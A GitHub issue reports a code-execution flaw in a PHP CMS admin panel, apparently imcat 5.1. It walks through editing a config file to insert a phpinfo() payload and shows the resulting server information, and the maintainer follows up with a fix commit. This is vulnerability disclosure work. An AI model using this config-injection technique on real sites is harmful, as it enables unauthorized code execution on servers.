

New issue

Jump to bottom

You code has a Code Execution Vulnerability in the backstage #3

Closed 876054426 opened this issue on Feb 9, 2020 · 1 comment

876054426 commented on Feb 9, 2020

1. Login the backstage

<http://127.0.0.1/root/run/adm.php>

2.find "DIY配置"

<http://127.0.0.1/root/run/adm.php?admin-ediy&part=exdiy>

3 Click on the "修改"

/root/cfgs	文件	大小	修改时间	创建时间	操作
boot	bootskip.php	702 (B)	2020-01-01 18:24	2020-02-10 11:39	还原 修改
	cfg_aDEBUG.php	537 (B)	2020-01-01 18:24	2020-02-10 11:39	还原 修改
	cfg_db.php	1.89 (KB)	2020-02-10 11:41	2020-02-10 11:39	还原 修改
	cfg_load.php	1.55 (KB)	2020-01-01 18:24	2020-02-10 11:39	还原 修改
	const.php	4.37 (KB)	2020-02-10 12:15	2020-02-10 11:39	还原 修改
	index.php	40 (B)	2020-01-01 18:24	2020-02-10 11:39	还原 修改
	setcfg.php	694 (B)	2020-01-01 18:24	2020-02-10 11:39	还原 修改
	_paths.php	1.82 (KB)	2020-01-01 18:24	2020-02-10 11:39	还原 修改
	_score.min.php	465 (B)	2020-01-01 18:24	2020-02-10 11:39	还原 修改
excfg	ex_a3rd.php	2.29 (KB)	2020-01-01 18:24	2020-02-10 11:39	还原 修改
	ex_aia.php	868 (B)	2020-01-01 18:24	2020-02-10 11:39	还原 修改

4 Modify the content payload: And save it

```
<?php phpinfo();  
// 参数配置-根据需要进行配置  
// 系统参数  
$_base['sys']['en'] = '0B8703D-127A-B479-1979-2010-0424X888'; // 序列号  
$_base['sys']['ver'] = '5.1'; // 版本  
$_base['sys']['cset'] = 'utf-8'; // 系统编码  
$_base['sys']['tmzone'] = '8';  
$_base['sys']['tzcode'] = 'PRC'; // 时区+12, 'ETC/GMT-8'  
$_base['sys']['lang'] = 'cn'; // 默认语言:根据语言包,可设置en,cn等  
$_base['sys']['xpwby'] = '(imcat.txjia.com)/v5.1+;'; // 'X-Powered-By' 头信息: 空为默认, 或自定义  
// Cookie  
$_base['ck']['pre'] = 'v49_'; // Cookie前缀,8字符以内  
$_base['ck']['domain'] = ''; // Cookie Domain  
$_base['ck']['path'] = '/'; // Cookie Path
```

5 Access to this file and it has a Code Execution

PHP Version 7.0.12

System	Windows NT ZYDX-PC 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) i586
Build Date	Oct 13 2016 10:44:50
Compiler	MSVC14 (Visual C++ 2015)
Architecture	x86
Configure Command	cscrip /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--disable-zts" "--with-

fix:

1.The best removal of this function

peacexie added a commit that referenced this issue on Mar 5, 2020

Fix Security: ...

3e914f6

peacexie commented on Mar 5, 2020

Owner

1. Fix as this:

[3e914f6](#)

2. By the way:

It only the administrator can edit this page!



peacexie closed this as completed on May 11, 2020

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

